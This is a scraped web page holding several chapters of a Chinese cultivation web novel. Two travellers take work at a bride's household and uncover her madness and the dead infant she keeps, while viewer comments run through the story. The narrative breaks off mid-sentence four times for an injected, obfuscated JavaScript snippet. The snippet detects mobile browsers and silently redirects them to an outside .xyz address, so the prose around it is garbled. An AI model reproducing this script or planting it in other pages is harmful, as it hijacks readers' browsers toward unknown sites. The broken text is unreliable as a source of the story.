「前面的,到后面排队去,别插队啊」 「青青,先碰我先碰我先碰我prprpr」 「……一群色胚,咳咳,那个,我也要(扭捏)」 碰手? 青遮略略无语,先不提别的,这连牵手都算不上吧,脸红什么呢。 “褚褐。”他抬起手,扣了扣褚褐的手背,“你有在听我说话吗?” “啊?”褚褐手火燎般缩到了桌子底下,欲盖弥彰地拿另一只手去捧茶喝,“啊,听了,听了。” “我们先在这个镇子上停三天。”青遮饮尽最后一口茶,“等会儿我们去凤头山乔家一趟,他们这几天嫁女儿缺人手,我们去帮个工赚些路费再走。” “哦,好,我没问题。” 这一个多月来他们都是这么过来的,本来褚褐想的是做工什么的他来就好了,仙人要有仙人的样子,青遮只需要在旁边坐着休息便好,哪知道青遮远比他想象中的更、怎么说呢,更接近普通人一点。 尤其是青遮居然还会做饭。 “你会做饭?” “很奇怪吗?”青遮指挥褚褐蹲在灶台边看火,自己拿着勺子慢慢在锅里搅和。 “我以为仙人都是不吃饭的。” “就算是辟了谷的人,偶尔来了兴趣也会吃上一点的。还有,别再喊仙人了,不是教过你吗,是修士,你喊修真者也行。”青遮把切好的菜倒进锅里,“这个世界上没有仙人,修士和普通人也没什么两样。” “怎么会没什么两样?我看话本子里都把修士描述得很厉害,不是除魔就是降妖。” “要什么魔什么妖,「人」已经够让人头疼了。” 在青遮的讲述里,现下的修真界不存在妖,更不存在魔,修真者修他们的道,普通人过他们的生活,双方都安居乐业得不像话。 “如果没有魔也没有妖,就相当于没有磨砺和苦难,那修真者们怎么修炼?” 青遮终于低头看了他一眼。 “道心。我刚刚已经说过了,光是「人」的问题已经够让人头疼了,修真者修的就是自己的那份属于「人」的道心,如果道心碎裂,滋生心魔,那就废了。” “什么是心魔?” “心魔就是——” 青遮掀开锅盖,升腾起的热气和刺啦声淹没了他的话,褚褐没机会再问他第二遍,也不太敢,当然,后者的原因要占上百分之八十,就算青遮说过不必再喊他仙人,但他到底在褚褐心里还是占了一个高位置,不可僭越也不可冒犯。 凤头山在他们落脚的镇子北边,环山建了一座镇子,靠山吃饭,和青梅村一样的布局让褚褐油然生出好感来,进镇子的时候表情都鲜亮了不少。 “你好像很高兴。” “这里和青梅村很像,都是依山而建的。”褚褐跑在他前面,四处窜着去看那些镇里人摆出来的摊子,高高扎起来的马尾一甩一甩的,独属于少年的意气风发就这么明晃晃地显露出来。 “哎呦好俊俏的小公子,要不要过来看看簪子啊,用的是我们凤头山独有的栖桐木,越戴越漂亮呢。”路边有人招呼他,“要不要给你姐姐买啊?” 褚褐愣了:“姐姐?” “对啊,就是你身后的那个。”摊主是个看起来年龄不大的姑娘,声音很清脆,笑嘻嘻地拉扯着褚褐的衣袖,“来看看吧看看吧。” 褚褐平时很少接触外面的女子,有些吓到,又有些羞,“那那个,他不是,不是……” “我不是他姐姐。”青遮握住褚褐的肩膀,把他往后一扯,扯到了自己身后,“簪子就不必了,我们只是过来问个路。” 姑娘在听见青遮的声音时就傻眼了。 “不好意思不好意思。”她连连弯腰,“刚刚你离得太远,我没看太清,实在对不住。” 「哈哈哈,不用道歉小姐姐我们理解你,毕竟咱们青青长得那么好看」 「这的确不能怪她,毕竟古代嘛所有人都留着长发,稍微长得好看一点谁能认出来是男是女?」 「我偏个题,这位小姐姐摊子上的簪子还挺好看,有没有人能复刻啊」 「好家伙,你上这儿来进货了」 「可是真的很好看啊」 「我就不一样了,我想要小姐姐头上的那个」 「那个,我也再偏个题喔,怎么所有摊位上的人全都是女孩子啊」 「诶,对哦,从进镇子开始我就没看到有男人」 「友人们,细思极恐啊」 「嗐,这有什么,到剧情点了呗。如果凤头山没有猫腻的话怎么可能做出来,难道水时长啊,就像是青青和棕棕前面一个月的相处都是直接跳过了没播,所以我敢肯定凤头山绝对有问题」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060194|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「呜呜呜,其实我更想看他们俩的日常相处,把甜甜的日常还给我啊喂」 青遮半猜半蒙看懂了一大半,终于搞清楚了为什么这一个月来他没有看到弹幕了,原来这玩意儿只有在重要节点的时候才会上线。 那么,这座山,看来是真的有问题了。 青遮抬头,打量了一下不远处的山头,现在是正午,太阳正当头,照得整座山金灿灿的,看起来并没有什么异常的地方。 “两位公子要问什么路啊?” “听闻贵镇乔家这几天要嫁女,缺人手,我们想去帮工挣些路钱,好继续赶路。” 买簪子的姑娘脸色微微一变。 “你们要去乔家?” “对。” 姑娘犹豫了一下,最终指了指凤头山的方向,“乔家还要再往山里走走,他家很好认的,门口挂了很多红灯笼。你们去帮工可以,但是不要太信他们家里人说的话,晚上最好也不要到后园里溜达,还有,不要去见新娘子。” 「姐姐,咱就差把“乔家有问题”刻在脑门上了」 「来来来我来预测一下剧情走向啊,首先是乔家人会对着咱们青青棕棕说些莫名其妙的话,包括但不限于神秘传说、精怪故事来勾起我们的好奇心,然后一定会派他们在晚上去后园里工作,说不定还能遇上刚刚讲过的志怪妖精,最后,当这些都经历的差不多了我们的boss新娘子就可以登场啦」 「你这段话基本概括了这一集内容了」 「主要是这小姐姐自己都把走向说出来了啊(叹气)」 「可是我记得预告里这些通通没有啊」 「前面的你是新来的吧?你太天真了,咱们家的预告片,统称预告骗」 「诶诶诶,别聊了别聊了,我已经看见挂着红灯笼的门了」 门是紧闭着,和青遮想象中不太一样,虽说是要嫁女,但是一点热闹的感觉都没有。 “你好。”他朝坐在台阶上的女子询问,“请问这里是乔家吗?” 女子低着头,不理他。 “姑娘?” 女子还是不说话。 “这位姐姐?”褚褐手放在女子面前晃晃,“你能听见我们说话吗?” “嗯?”女子猛地站起来,把褚褐吓了一跳,“抱歉抱歉我刚刚走神了。” “请问这里是需要帮工的乔家吗?” “是这里是这里。” “我们听邻镇上的人说,乔家缺帮手,所以我和,”青遮回头看了一眼褚褐,“我和弟弟想过来赚一些过路的盘缠。” “太好了!”女子喜笑颜开,“我爹这几天一直没能招到人,正发愁呢。” “你爹?你是——” 女子莞尔一笑:“我叫乔巧,是新娘子啦。” 「?」 「??」 「不是,我跳关了?」 「这怎么还带boss提前出来的?」 「这新娘子看着也太阳光了,不像boss啊」 「对呀,这姐姐笑的我尸体暖暖的」 “还愣在那干嘛呢,进来啊。”乔巧推开门,拽着褚褐的袖子往里走,“我带你去找我爹。” 「不知道的还以为咱们棕棕是新郎呢,这么热情」 「一般来说,这种设定下的新娘子不都是应该不见客的吗?」 「我们青青好像被落下了」 「不是被落下了,我总感觉新娘子好像对他视而不见」 的确是视而不见。 青遮观察过了,这位女子的视线没有一次转到他这边,碍于这张脸的存在,他平日里收获的关注并不算少,被忽略倒是头一次,但这似乎并不是什么好的征兆。 这到底是怎么一回事? 5. 乔娘娘 “我们家是做布料生意的,所以院子里会挂很多布,不要被吓到哈。” “嗯。” “对了你是从哪里来的?” “额,很远的地方。” “要去哪里啊?” “去、去不周山拜访朋友。” “哇,你朋友居然住在不周山那边吗?那可是那些整天飞来飞去的仙人们才会住的地方,好羡慕!” “是、是吗,哈哈哈,哈哈。” 「完了好尴尬我看不下去了」 「我感觉褚褐恨不得把她嘴捂上让她别搭话了」 「一些幻视i人和e人的时刻」 「褚褐这孩子也不i啊,他好像就是有点怕女孩子」 「不是这姑娘是怎么一回事?怎么拽着主角问个没完没了?她不是新娘子吗?不应该避嫌不见外客特别是男外客吗?」 「可能……性格比较活泼开朗?或者说凤头山没有新娘子不见外客的制约?」 呵,这算哪门子的活泼开朗。 青遮冷冷一笑,这姑娘眼睛里的光都快把他闪瞎了。 不过作为经常接触情之一事的炉鼎,他倒是能看出来这光并非有关情爱,但这反而更让人费解了,第一次见面的男女如若不涉及情情爱爱这种东西,为何会露出这种热切的表情? “到了到了,我爹爹就在里面,爹,爹!” “哟我的宝贝女儿怎么了?”一个大腹便便的中年男子捧着肚子从屋里走出来,“哎哟喂我的小祖宗,你这马上都是要成亲的人了,你不好好的在房间里待着,又跑出去干什么呢。” “哎呀,爹,我不是在房间里闲得无聊嘛。”乔巧抱着男子的胳膊晃啊晃,“爹,先别说我了,这两个人说他们是来帮工的。” “真的?太好了太好了,可算是找到人了。”乔老二来精神了,走过来先瞧了瞧褚褐,“嗯,不错不错,年龄虽然看着不大但还算是有把力气的样子,后面的这位。”他把头转回来,目光投到了青遮身上,只一瞬间,青遮敏锐察觉到了他眼里的慌乱。 “这位器宇不凡的公子莫非是修道之人?” “野修而已,没什么名气。” “哎呀光是踏入修道门槛的人就足以让我们这些普通人望尘莫及了,还管什么野修不野修的。”乔老二朝他打拱作揖,没敢过来碰他,只是挥着手把他们往后园里领,“我家小女喜欢花,每次成亲必然要把房间装饰得花团锦簇,就劳烦二位把园里的刺瑰花都摘一摘,然后放到小女的卧房里就行。” “爹,我能不能也留下来啊?”乔巧对着乔老二撒娇。 “哎呀,你留下来干什么?你一个新娘子,不好好在房间待着,留在这里给别人添麻烦,快跟我回房间去。” 乔老二教训完女儿,便转过头来朝他们赔笑,点头哈腰地带着乔巧离开了。 褚褐终于松了一口气。 “青遮,那位乔姑娘是不是有什么问题。” 「嗯?宝宝你进步了啊,犹记得在回忆里,这一个月来他就是碰到条受伤的狗都得凑上去救一救,纯真过头了哈」 「救狗没毛病,问题是不能看见路边躺个人就救啊,也不怕刚救完就被人背后捅刀子」 「我依稀记得有一次是不是被青青骂了来着」 「嗐,没骂,就是让他在外面跪了半个晚上」 「这还不如骂呢」 「可是我看他被罚跪还挺快乐的」 「初入世界的少年不都这样吗?按照套路非得发生一件什么血流成河的大事才能让他成长」 「那我赌一个这件血流成河的大事就发生在凤头山」 「赌了!」 「跟票!」 「梭_哈!」 弹幕说的倒也没错,的确进步了,起码不会因为别人说什么就信什么了。 “你是怎么看出来的?” “因为她无视你啊。” 「好,哈哈,很好,我们又想多了」 「……宝宝,实在不行,咱安个防沉迷吧」 「棕棕的意思是第一次见面不盯着咱们青青看的不正常呗」 「真被盯着看了不高兴的还不是你自己」 「呵,少年,你以为谁都跟你一样是个盯妻机吗?」 「就是,明明褚褐看起来对青遮是有一点害怕和恭敬在身上的,但就是每时每刻盯着人家看是怎么一回事」 「我们不从嗑cp的角度出发嗷,就单从人物性格,棕棕刚死完亲人就遇见了对他百般好的青青,大概是把青青当成精神寄托了,我估计再熟一点直接贴在他身上也不是没有可能」 「棕棕还是太过保守,要是我就直接冲上去抱青青大腿」 「转回正题哈,我刚刚才想起来,青青是炉鼎诶,在佛流星的世界里,炉鼎除了不能修炼,就没点别的功能吗?比如,嗯嗯啊啊之类的」 「好家伙,果然中华文化博大精深,简简单单四个字一切不言尽在其中」 「我记得佛流星刚出来的时候,我在官方那边看见过设定集来着,炉鼎好像对灵力什么的很敏感」 「敏感,嘿嘿」 「前面的,我说正经的呢」 「我也说正经的呢」 我看你们没一个正经的。 青遮低头又瞅了瞅褚褐。 这个也不正经。 “无视我并不是她显得奇怪的地方。”青遮引导他,“不要把关注点放在我身上,而是放在你自己身上,她不是一直盯着你看吗?” 褚褐茫然:“我以为她只是性子比较外放开朗,所以才会一直找我搭话。” ……这家伙,纯真过头了吧。 青遮直接挑明了:“她看着你的眼神就像要把你吃了一样,是真实的吃,垂涎三尺的那种。” 褚褐吓了一跳,虽然他自从开始修炼后,这一个月来看到的稀奇古怪的事情已经够多的了,但这么稀奇的倒是头一次。 “吃我?她吗?她会吃人?” “吃不吃人另说,总之不怀好意是真的,”青遮嘱咐,“尽量别和她见面了,等会儿的花我来送。” “不行!”褚褐急切,“你如果遇到危险了该怎么办?” “她又不想吃我。” “可是……” “不许可是。”青遮下意识恢复了本性,冷硬地开口,“别到处乱走,这个地方不对劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060195|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,做完三天的活就可以走了。” “诶,那边新来的。”有个人远远喊了他们一声,“快干活,小姐还等着花儿呢。” “知道了。”青遮应了声,接着眼神示意褚褐摘花去,褚褐憋了半天,也的确想不出他有什么立场来阻止青遮,只好闭起嘴巴摘花去了。 这不对。 褚褐想。 他和青遮相处有一个多月了,除了睡觉外其他时间都形影不离,照理来说应当已经混熟了才对,但问题是,青遮是个话少又冷淡的人,表情也少,永远是一副云淡风轻的样子,似乎没有什么能撬动他的情绪。 无论是以前还是现在,褚褐都不太擅长和这样的人打交道,他自认为是个迟钝的人,如果对方不好好地说出他的想法和感情的话,他恐怕一辈子都不会感受到那些藏在细枝末节里的情绪,也正因为如此,他总感觉青遮和他隔着一层厚厚的屏障,让他无从下手。 青遮不会将我送到不周山后就和我分开了吧。 惶恐和不安从心底升腾起来,褚褐皱起眉,手上力道一紧,捏着的花枝直接断了。 “哎哟这可是价值千金的刺瑰啊!”刚刚在远处喊他们别偷懒的男子立刻冲了过来。 “老爷这都是从哪儿找来的人,手脚没轻没重的。”他一把扯开褚褐,急吼吼地去看花,“要是这支花折了你赔得起吗你。” “对不起对不起,我没注意……” “行了行了你别摘花了,去厨房帮忙吧。”来者不由分说把他推走了,连句话都没让他和青遮说。 价值千金? 青遮拾起那支断花仔细看了看,据他所知名贵的刺瑰花瓣数基本要在十二瓣以上,手里这朵只有八瓣,就是一支再普通不过的刺瑰而已。 那人撒谎,但为什么要这么做? “请问,是青遮公子吗?” 一道细细的声音从背后传来,青遮转过头,发现是个和褚褐差不多大的少年。 “我是。” “老爷想让您送些花到他的房间去。” “我知道了。” 青遮提起篮子,跟在少年身后,七拐八拐后到了一处僻静的地方。 “公子,就是这里了。” 少年行了礼后就转身离开把他扔在这儿了,一句多余的话都没有。 这看着不像是送花,倒像是送命。 青遮打量了一下两侧挂着铃铛的房门,怎么看都不想是主人家会住的卧房。他敲了敲门,没有人回应,便道一声打扰了,直接推开了门。 门外的风带动了屋里挂着的白布,飘起来的时候露出了下面一座座东倒西歪的木牌,红棕色的底木,上面用黑色的墨汁写满了名字。 这是祠堂?但怎么这么脏? 青遮放下篮子,把正对着他的一座木牌扶起来,上面全是灰,隐隐约约能看见“乔娘娘”三个字。 “青遮道长。” 身后的门开了一小条缝儿,乔老二挤了进来——也不知道以他那个身材是怎么做到的——然后又悄摸儿地关上,青遮还未来得及讲话,对方就噗通一声跪在了地上,涕泗横流。 “求求道长,救救我……女儿吧。” 6. 救风尘 “乔娘娘?那是谁?” “乔娘娘就是我们家小姐啊。” “你们家小姐?”褚褐帮着添了把柴火,“新娘子的名字不是乔巧吗?” “这个啊。”厨房的伙计笑了,“乔娘娘这个称呼是小姐的第一任夫君先喊起来的,小姐本人也很喜欢这个称呼,于是大家就这么顺延叫了下来。” “是这样啊。”褚褐喃喃着念叨,“乔娘娘,乔娘娘,这怎么听起来有点像……” “修道之人的名号,对不对?”伙计接过他的话,脸上浮现出颇有些骄傲的神色,“因为小姐的第一任夫君就是个修道之人,还是个很厉害的修道之人。” 褚褐猛地抬起头。 “修道之人?” “对,那个时候我们老爷还没发迹,就是个普通的卖布商,本来日子也算过得去,结果小姐突然有一天魇住了,得了疯病,大把的银子流水似的往外花可就是治不好,幸好这时候姑爷路过救了小姐一命,二人也相互暗生情愫,理所当然的在了一起,在凤头山也算一段佳话。” “要我说啊,还是第一任姑爷好,相貌过人,为人文雅,还是传说中的仙人。你看看后面小姐嫁的都是什么人啊,一个屠夫,一个赌鬼,一个只会死读书的呆子,还有一个天天往风月场跑的流氓,这次又不知道抽什么疯,居然要嫁一个五十多岁的老男人。” 褚褐试图插一嘴:“她为什么会嫁那么多次?” “嗐,咱家小姐命苦呗,那些劳什子人承载不了咱家的福气,一个个都死了。” “要我说啊。”其中一个伙计左看右看,见管事的不在附近,才开了口:“咱小姐和仙人成过亲圆过房了,还怀过仙人的胎,身子已经不是普通的身子了,又顶着乔娘娘的名号,命格贵得很,只有修道之人才能消受得起这福分。” 褚褐看了那么多的书,还从没见过命格这种东西有后天尊贵的说法。再说了,就算有,也不可能是因为和修道之人结合,青遮曾提过,修道之人的身体经过淬炼,已经和普通人不在一个阶层了,所以修真者都是避免和普通人在一起的,因为普通人的身体承受不了他们。 这个第一任姑爷,不会是个骗子吧? “那你们的第一任姑爷也死了?” “那倒不是,我们的第一任姑爷好像因为有什么紧急的事情回门派了。毕竟仙人嘛,总不可能永远留在我们这边。” 褚褐感到不可思议:“如果不能给出承诺的话,那为什么要和你们家小姐成亲?这不是欺骗感情吗?” 伙计才觉得不可思议:“可他是仙人啊!而且还是很有名的大门派的仙人,呃那门派叫什么来着?八、八……” “八岐宫。” “对,对!八岐宫!” “你说叫什么?!”褚褐霍然起身,“八岐宫?” _ “八岐宫?”青遮抬眼,“就算你这么说我也救不了你女儿。” “道长,道长。”乔老二跪在地上爬到青遮面前,邦邦邦磕头,“求你了,救救小女吧,我可以给钱,给很多很多钱,你看,你看。” 他把手上水头极好的翡翠镯子褪下来捧在手心里,颤抖着送上来,“您看看,这只是定金,要还是不够,我差人去取银票。” 青遮嫌弃地看了一眼乔老二臃肿的手臂,一点都不想上手碰那枚镯子,“不是钱的事情。八岐宫的人害了你女儿,你不应该去找八岐宫的人吗?我只是个野修,还真不一定能解开八岐宫的咒法。” “我怎么敢啊。”乔老二嚎得一把鼻涕一把泪,“那些个门派,都抱团排外,我就是个普普通通的卖布老板,怎么敢和他们叫板啊。” “行了别喊了。” 没有褚褐在面前,青遮自然也不用装了,他冷着脸,手一撑,坐在了他家的祠堂桌子上。 “你先说说看,我听着。” 尽管他充其量就是个炼气入门,但他倒挺喜欢装腔作势来骗人,尤其钟爱骗这种一肚子坏水嘴上没个实话的。 “多谢道长,多谢道长。” 乔老二千恩万谢,刚要站起来,一样东西“啪”敲上了他的肩膀。 “不用起,跪着说。” 青遮手里的银灰色戒尺压着对方的肩膀,即使里面只掺和了一点银钊木的原料,但对付一个普通人绰绰有余,乔老二只觉得自己肩头沉得仿佛压了一座山,更加确信青遮能救他了。 “事情,要从七年前说起。” 七年前,乔老二还只是个普通的布商,整天为女儿的病奔波操劳。有一天,一个穿着仙风道骨的道长找上门来,说能治他女儿的病,乔老二本来没抱多大希望,哪知道真让他给救好了,更喜上加喜的是,在治病的过程中,两人都喜欢上了对方,于是在乔老二的见证下,两人成了亲。 成亲后不久,乔巧就怀上了孩子,道长迫于门派任务,需要经常外出,十天半个月才回来是常有的事情,乔巧觉得她受到了忽视,郁郁寡欢,情绪上的变化也反映到了胎儿身上,临盆的时候接生婆在屋里守了一天一夜,最后却抱出了个死胎来。 “然后巧巧就疯了。” 乔老二又开始抹眼泪。 “偏偏这时候道长说门派发生了事情需要他回去,然后就一走了之再也没有回来过了。我可怜的巧巧啊,你说这不就是抛妻弃子吗?” 他边控诉边悄悄抬眼偷看青遮的表情,发现青遮还是那副冷若冰霜的样子。 “后来,后来巧巧脑袋就不太正常了,觉得是自己没有生出孩子来才会被道人抛弃,她一个劲儿地找人成亲,怀孕,生下来孩子后又不要了拿去溺毙,还骂姑爷们没有用,把他们、把他们……” 乔老二身子抖了一下。 “把他们都杀了。” 青遮脸色终于起了点变化,“都杀了?” “对,对。”乔老二精神一振,“您要不信,我可以领您去后园看看。” “不用了,没必要。”青遮把戒尺收回来,“你一开始不是说,是八岐宫的那位道长给你女儿下了咒吗?” 乔老二情绪激动:“肯定是他下了咒!不然我的女儿能疯吗?” “嗯——”青遮扯过旁边的白布,慢条斯理地擦着尺身,“你女儿我治不了,这和下咒也没关系,我的建议是,你自己主动去报官吧。” “道长,道长,你不能见死不救啊,我就这一个女儿啊。” 乔老二慌了,手忙脚乱地扑过来想抱青遮的大腿,被青遮一脚踢开了。 “而且、而且,您弟弟,您不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060196|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您弟弟了吗?” “这关我弟弟什么事?” 乔老二像抓住救命稻草一样:“您和您弟弟都是修道之人,是巧巧现在最痛恨的存在,她动不了您难道还动不了您弟弟吗?” 乔巧。乔娘娘。刺瑰花。 刺瑰花。 糟了,褚褐刚刚被人扯谎叫走了。 青遮当即从桌子上跳下来,推门而出,乔老二连忙捧着个肚子追了出去。 “道长,等等我啊!” _ 八岐宫是以炼丹出名的宗派。 褚褐回忆着青遮给他讲过的内容。 八岐宫精通于药理,这一点不止体现在炼丹上,坊间流传的普通人的药理之书,有七成都来自于八岐宫,这也是为什么即使传出炼人丹的事情它依旧稳位于五大宗之中屹立不倒。 鉴于青梅村发生的事情,褚褐对八岐宫没什么好感,在听到伙计们提及乔巧和八岐宫的人接触过,又联想到新娘子的异常行为后,警惕心立刻上来了。 怎么听都感觉这位小姐被八岐宫的人下咒了。 褚褐那颗被青遮说成是善意泛滥的心又开始蠢蠢欲动了。 总不能放着不管吧。 他想。 如果我在青遮之前查清楚发生了什么事情并解决掉,会不会、会不会能得到青遮的夸奖呢?哪怕只是一个鼓励的眼神都可以。 褚褐迫切想看到青遮除了平静以外的神色变化,哪怕是坏的方面,他不想再被青遮用温和却又拒人千里之外的表情挡在外面,就好像随时能把他丢掉一样。 “你好,我来给你家小姐送饭。” “小姐现在不在房间,你直接推门进去放在桌子上吧。” “好的,谢谢。” 木制的门被推开,没有发出一点声音,可见做门的工艺极好。褚褐把端着的银耳羹放在桌上,转头四处打量着房间的陈设。 奇怪了,不是说三天之后嫁人吗?怎么房间里这么冷清,一点布置都没有? 褚褐的目光转到书架上,上面堆满了各种不相干的小玩意儿,甚至还压了几盆花。 就算揣着寻找咒符的好心,但未经允许随便乱翻似乎也不太好。褚褐掏出符纸来,借了桌上的毛笔开始绘符,他现在只是个刚入门的新手,还做不到不靠纸墨凭空成符的程度。 “东南西北中,寻人探物踪,着!” 符纸飘飘悠悠飞了起来,在空中打转了两圈,才朝着某个方向笔直飞出去。 看来功力还不够啊。 褚褐叹口气,跟着符纸走,一直走到了梳妆台旁。 符纸最终停在了一个两尺左右长度的箱子上。 褚褐弯了弯腰,“冒犯了。” 他深吸口气,打开了箱子。 一具像枯木一样的东西映入眼帘,上面贴了张符纸,用朱红色的笔写了几个潦草的字。 “乔……” 褚褐努力辨认着。 “乔、娘、娘?” “叫我吗?” “!” 褚褐吓了一跳,砰地打翻了箱子,枯木滚落到了地上,翻到了正面。 乔巧歪着头,站在他身后,嘴角扬着笑。 “褚褐道长是在找我吗?” 7. 胎儿怨 褚褐见过很多刚出生的婴儿。 青梅村只有一位接生婆,虽然青梅村人家不多,但也有忙不过来的时候,为了省钱,基本上不会雇小工,而是让褚褐过去帮忙,不做别的,就手脚勤快地换水、洗布就好。 在十三岁以前,褚褐每年总要随接生婆去几趟别人家,然后看着一个个婴儿从接生婆的手里接到孩子父亲手里,优越的个子能让他看见每一个婴儿皱巴的脸和通红的皮肤,以及父亲接过婴儿时脸上欣喜交杂着眼泪的表情。 他对父母之爱的理解就是从这里来的,眼见之实永远胜过书上千言万语的歌颂,他以为全天下的父母都是这样的,而自己所遭受的苦难和白眼都是可以归结到自己是个孤儿这件事上的。 一样东西,别人有你没有,或者别人没有你有,都容易成为众矢之的。 好羡慕啊。 他当时盯着别人怀里的婴儿想。 你拥有我没有的东西。 人好像就是会渴望自己缺失的东西,这似乎是一种本能。 “褚褐道长一直盯着我的宝宝看呢。” 乔巧抱起地上的枯木,翻过来的正面即使黑黢黢糊成一团但以褚褐的经验来看,那真真切切就是一具婴儿的尸体,而不是枯木。 “褚褐道长是也喜欢我的宝宝吗?” 乔巧哼着童谣晃着怀里的婴儿尸体,眼睛却笔直地盯着他,眨都不眨。 “褚褐道长觉得它可爱吗?” 不能否认。 褚褐不自觉攥紧了背后的桌边。 否则还不知道她会做出什么来。 于是他谨慎地点头:“嗯。” “那你想要吗?” 想、想要?想要什么? 褚褐一愣,乔巧抱着枯木走了过来,满目期盼地将尸体举到他面前。 “你想吃掉它吗?只要吃掉它,你也能像我一样,可以怀宝宝啦。” “这这这就不必了。” 褚褐吓得直往后退,手臂捣到镜子上,碰掉了更多丁零当啷的瓷罐子。 “你害怕?”乔巧歪歪头,“不要害怕,不难吃的,只要一个手指头就好,我的夫君们都很喜欢吃。” “乔、乔姑娘,你冷静一下。”褚褐疯狂地在背后捏诀试图凭空画符,不过都是开了个头就哑火了。 我今天不会死在这儿吧。 褚褐有些绝望地想。 “我很冷静啊。”乔巧嘻嘻笑着,手掌抚上了褚褐的腹部,慢慢地、慢慢地抚摸着,摸得褚褐毛骨悚然,“你们男人不都可喜欢孩子了吗?我现在就能帮你得到想要的孩子,连中间的女人都省掉了,你不高兴吗?” 不太对劲。 褚褐强迫自己先冷静下来,回忆着看过的书和青遮教过他的话。 乔姑娘的反应不像是中了咒符的样子,虽然他还没有看过所有咒符的形态,但好歹知晓咒符运行的上限,再厉害的咒符也断然做不到让一个人性情大变扭曲成这个样子、做出如此诡异的事情来。 难道—— “你莫非是道心破碎的修道之人?” 乔巧脸上的笑容僵住了,手也僵住了。 褚褐趁机鼓足勇气拨开她的手,迅速逃离了梳妆台那边,还未等他松了一口气,面前的房门无风自动关上了,发出非常大的“啪”的一声,推都推不开。 乔巧刻意咧出来的笑收了起来,没了那抹笑吊着她的脸,褚褐忽然就发现了很多被自己忽略掉的微表情,比如眉眼间若隐若现的狠厉,比如直勾勾盯着他的贪婪的眼神,又比如违和的肢体,她一下一下摸着怀里的干尸,像在抚慰一只猫,动作里却不带任何怜惜。 “你还是头一个能说出来我是修道之人的人,看来你的眼睛比其他人看得更明白些。”乔巧阴涔涔地看着他,“就是可惜,你居然是八岐宫的人。” 褚褐立刻否认:“我不是八岐宫的人!” “我不会闻错的,那种腥臭的、恶心的、令人作呕的味道。”另一种笑浮现出来,或许这才是乔巧真正的笑,带着高高在上的厌恶和冷漠,“你就是八岐宫的人。” 乔巧的语气太过肯定了,褚褐不禁开始怀疑起自己的父母来,事实上在他经历过灭村之劫后,这种想法就时不时地跳进他的脑袋里,他的父母是不是来自于八岐宫?是不是背叛了门派带着他逃到了青梅村?否则他想不通为什么身为五大宗之一的八岐宫会千里迢迢来到一个偏僻的、不起眼的小村庄大肆屠杀,连一条狗都不放过。 “你看,你自己也相信了,不是吗?” 褚褐咬牙,“不,我没有,我不相信。” “可你就是啊。”乔巧本来淬满恶意的语调忽地温柔下来,“修道有什么意思?你看这几百年来那些高高在上的修士们有几个成功飞升了的?摒弃你的道心吧,那都是无用之物,别被你那个所谓的哥哥骗了。” “骗我?你什么意思?” “哼,也就是你刚入门,眼还生看不出来。你那位哥哥哪里是修道之人,他身上没有一丝一毫的灵气,就是个再普通不过的凡人,连我都能一手掐死他。” 褚褐呆住了,连害怕的情绪都被一时压了下去。 “他、没有灵力?是普通人?” “唉,我可怜的孩子,果然被骗了。”乔巧装出哀怜的一副表情来,“你看,连你最亲密的哥哥都能欺骗你,这世界上所有冠冕堂皇冠之以爱名义的感情都是谎言,父母之爱兄弟之爱夫妻之爱,都不过是出于某种目的的索要,一个人怎么可能会为另一个人付出真心呢。在这个世界上,只有自己才是最爱自己的。只有我,最爱我。” “砰!” 一道银灰色的影子穿透木门,擦着褚褐的耳侧甩到乔巧脸上,直接将人抽飞了出去。 “青、青遮……” 「啊啊啊啊朋友们大哭大哭,终于见到你了宝贝呜呜呜」 「天晓得上集我听见主角可能会出事后有多么心惊胆战,按理来说我这种心情不应该啊,他可是主角」 「视角受限吧,主要是我们一直定格在青遮这边,看不了褚褐那边发生了什么」 「难道不是因为棕棕太弱吗?我感觉他现在连青遮都打不过」 「要是青遮把三千尺扔了说不定可以」 「三千尺?什么玩意儿?」 「青青的武器啦,官方那边给出的名字是三千尺,因为可以无限拉长变成鞭子用」 「友友们,咱还是为褚褐多敲敲木鱼祈祷一下吧,看青青的表情,我感觉他要气炸了」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 